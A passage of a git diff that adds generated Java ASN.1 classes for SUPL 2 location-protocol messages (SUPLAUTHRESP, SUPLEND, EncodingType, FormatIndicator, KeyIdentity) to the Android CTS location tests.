+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ver : "
+ + getVer().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getSETCapabilities() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSETCapabilities();
+ }
+
+ @Override public void setToNewInstance() {
+ setSETCapabilitiesToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SETCapabilities.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sETCapabilities : "
+ + getSETCapabilities().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SUPLAUTHREQ = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_auth_resp/SUPLAUTHRESP.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_auth_resp/SUPLAUTHRESP.java
new file mode 100755
index 0000000..d3b73ab
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_auth_resp/SUPLAUTHRESP.java
@@ -0,0 +1,347 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_auth_resp;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.ver2_ulp_components.SPCSETKey;
+import android.location.cts.asn1.supl2.ver2_ulp_components.SPCSETKeylifetime;
+import android.location.cts.asn1.supl2.ver2_ulp_components.SPCTID;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class SUPLAUTHRESP extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_SUPLAUTHRESP
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SUPLAUTHRESP() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SUPLAUTHRESP;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SUPLAUTHRESP != null) {
+ return ImmutableList.of(TAG_SUPLAUTHRESP);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SUPLAUTHRESP from encoded stream.
+ */
+ public static SUPLAUTHRESP fromPerUnaligned(byte[] encodedBytes) {
+ SUPLAUTHRESP result = new SUPLAUTHRESP();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SUPLAUTHRESP from encoded stream.
+ */
+ public static SUPLAUTHRESP fromPerAligned(byte[] encodedBytes) {
+ SUPLAUTHRESP result = new SUPLAUTHRESP();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SPCSETKey sPCSETKey_;
+ public SPCSETKey getSPCSETKey() {
+ return sPCSETKey_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SPCSETKey
+ */
+ public void setSPCSETKey(Asn1Object value) {
+ this.sPCSETKey_ = (SPCSETKey) value;
+ }
+ public SPCSETKey setSPCSETKeyToNewInstance() {
+ sPCSETKey_ = new SPCSETKey();
+ return sPCSETKey_;
+ }
+
+ private SPCTID sPCTID_;
+ public SPCTID getSPCTID() {
+ return sPCTID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SPCTID
+ */
+ public void setSPCTID(Asn1Object value) {
+ this.sPCTID_ = (SPCTID) value;
+ }
+ public SPCTID setSPCTIDToNewInstance() {
+ sPCTID_ = new SPCTID();
+ return sPCTID_;
+ }
+
+ private SPCSETKeylifetime sPCSETKeylifetime_;
+ public SPCSETKeylifetime getSPCSETKeylifetime() {
+ return sPCSETKeylifetime_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SPCSETKeylifetime
+ */
+ public void setSPCSETKeylifetime(Asn1Object value) {
+ this.sPCSETKeylifetime_ = (SPCSETKeylifetime) value;
+ }
+ public SPCSETKeylifetime setSPCSETKeylifetimeToNewInstance() {
+ sPCSETKeylifetime_ = new SPCSETKeylifetime();
+ return sPCSETKeylifetime_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getSPCSETKey() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSPCSETKey();
+ }
+
+ @Override public void setToNewInstance() {
+ setSPCSETKeyToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SPCSETKey.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sPCSETKey : "
+ + getSPCSETKey().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getSPCTID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSPCTID();
+ }
+
+ @Override public void setToNewInstance() {
+ setSPCTIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SPCTID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sPCTID : "
+ + getSPCTID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getSPCSETKeylifetime() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSPCSETKeylifetime();
+ }
+
+ @Override public void setToNewInstance() {
+ setSPCSETKeylifetimeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SPCSETKeylifetime.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sPCSETKeylifetime : "
+ + getSPCSETKeylifetime().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SUPLAUTHRESP = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_end/SUPLEND.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_end/SUPLEND.java
new file mode 100755
index 0000000..77d2075
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_end/SUPLEND.java
@@ -0,0 +1,408 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_end;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.ulp_components.Position;
+import android.location.cts.asn1.supl2.ulp_components.StatusCode;
+import android.location.cts.asn1.supl2.ulp_components.Ver;
+import android.location.cts.asn1.supl2.ulp_version_2_message_extensions.Ver2_SUPL_END_extension;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class SUPLEND extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_SUPLEND
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public SUPLEND() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_SUPLEND;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_SUPLEND != null) {
+ return ImmutableList.of(TAG_SUPLEND);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new SUPLEND from encoded stream.
+ */
+ public static SUPLEND fromPerUnaligned(byte[] encodedBytes) {
+ SUPLEND result = new SUPLEND();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new SUPLEND from encoded stream.
+ */
+ public static SUPLEND fromPerAligned(byte[] encodedBytes) {
+ SUPLEND result = new SUPLEND();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private Position position_;
+ public Position getPosition() {
+ return position_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Position
+ */
+ public void setPosition(Asn1Object value) {
+ this.position_ = (Position) value;
+ }
+ public Position setPositionToNewInstance() {
+ position_ = new Position();
+ return position_;
+ }
+
+ private StatusCode statusCode_;
+ public StatusCode getStatusCode() {
+ return statusCode_;
+ }
+ /**
+ * @throws ClassCastException if value is not a StatusCode
+ */
+ public void setStatusCode(Asn1Object value) {
+ this.statusCode_ = (StatusCode) value;
+ }
+ public StatusCode setStatusCodeToNewInstance() {
+ statusCode_ = new StatusCode();
+ return statusCode_;
+ }
+
+ private Ver ver_;
+ public Ver getVer() {
+ return ver_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Ver
+ */
+ public void setVer(Asn1Object value) {
+ this.ver_ = (Ver) value;
+ }
+ public Ver setVerToNewInstance() {
+ ver_ = new Ver();
+ return ver_;
+ }
+
+
+
+ private Ver2_SUPL_END_extension extensionVer2_SUPL_END_extension;
+ public Ver2_SUPL_END_extension getExtensionVer2_SUPL_END_extension() {
+ return extensionVer2_SUPL_END_extension;
+ }
+ /**
+ * @throws ClassCastException if value is not a Ver2_SUPL_END_extension
+ */
+ public void setExtensionVer2_SUPL_END_extension(Asn1Object value) {
+ extensionVer2_SUPL_END_extension = (Ver2_SUPL_END_extension) value;
+ }
+ public void setExtensionVer2_SUPL_END_extensionToNewInstance() {
+ extensionVer2_SUPL_END_extension = new Ver2_SUPL_END_extension();
+ }
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getPosition() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getPosition();
+ }
+
+ @Override public void setToNewInstance() {
+ setPositionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Position.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "position : "
+ + getPosition().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getStatusCode() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getStatusCode();
+ }
+
+ @Override public void setToNewInstance() {
+ setStatusCodeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? StatusCode.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "statusCode : "
+ + getStatusCode().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getVer() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getVer();
+ }
+
+ @Override public void setToNewInstance() {
+ setVerToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Ver.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ver : "
+ + getVer().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionVer2_SUPL_END_extension() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionVer2_SUPL_END_extension();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionVer2_SUPL_END_extensionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ver2_SUPL_END_extension : "
+ + getExtensionVer2_SUPL_END_extension().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("SUPLEND = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/EncodingType.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/EncodingType.java
new file mode 100755
index 0000000..198df44
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/EncodingType.java
@@ -0,0 +1,159 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_init;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class EncodingType extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ ucs2(0),
+ gsmDefault(1),
+ utf8(2),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_EncodingType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public EncodingType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_EncodingType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_EncodingType != null) {
+ return ImmutableList.of(TAG_EncodingType);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new EncodingType from encoded stream.
+ */
+ public static EncodingType fromPerUnaligned(byte[] encodedBytes) {
+ EncodingType result = new EncodingType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new EncodingType from encoded stream.
+ */
+ public static EncodingType fromPerAligned(byte[] encodedBytes) {
+ EncodingType result = new EncodingType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "EncodingType = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/FormatIndicator.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/FormatIndicator.java
new file mode 100755
index 0000000..f0d2ef8
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/FormatIndicator.java
@@ -0,0 +1,164 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_init;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class FormatIndicator extends Asn1Enumerated {
+ public enum Value implements Asn1Enumerated.Value {
+ logicalName(0),
+ e_mailAddress(1),
+ msisdn(2),
+ url(3),
+ sipUrl(4),
+ min(5),
+ mdn(6),
+ iMSPublicidentity(7),
+ ;
+
+ Value(int i) {
+ value = i;
+ }
+
+ private int value;
+ public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return false;
+ }
+ }
+
+ public enum ExtensionValue implements Asn1Enumerated.Value {
+ ;
+
+ ExtensionValue(int i) {
+ value = i;
+ }
+
+ private int value;
+ @Override public int getAssignedValue() {
+ return value;
+ }
+
+ @Override public boolean isExtensionValue() {
+ return true;
+ }
+ }
+
+
+
+ private static final Asn1Tag TAG_FormatIndicator
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public FormatIndicator() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_FormatIndicator;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_FormatIndicator != null) {
+ return ImmutableList.of(TAG_FormatIndicator);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new FormatIndicator from encoded stream.
+ */
+ public static FormatIndicator fromPerUnaligned(byte[] encodedBytes) {
+ FormatIndicator result = new FormatIndicator();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new FormatIndicator from encoded stream.
+ */
+ public static FormatIndicator fromPerAligned(byte[] encodedBytes) {
+ FormatIndicator result = new FormatIndicator();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "FormatIndicator = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/KeyIdentity.java b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/KeyIdentity.java
new file mode 100755
index 0000000..1eb73ad
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/supl_init/KeyIdentity.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.supl_init;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class KeyIdentity extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_KeyIdentity
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public KeyIdentity() {
+ super();
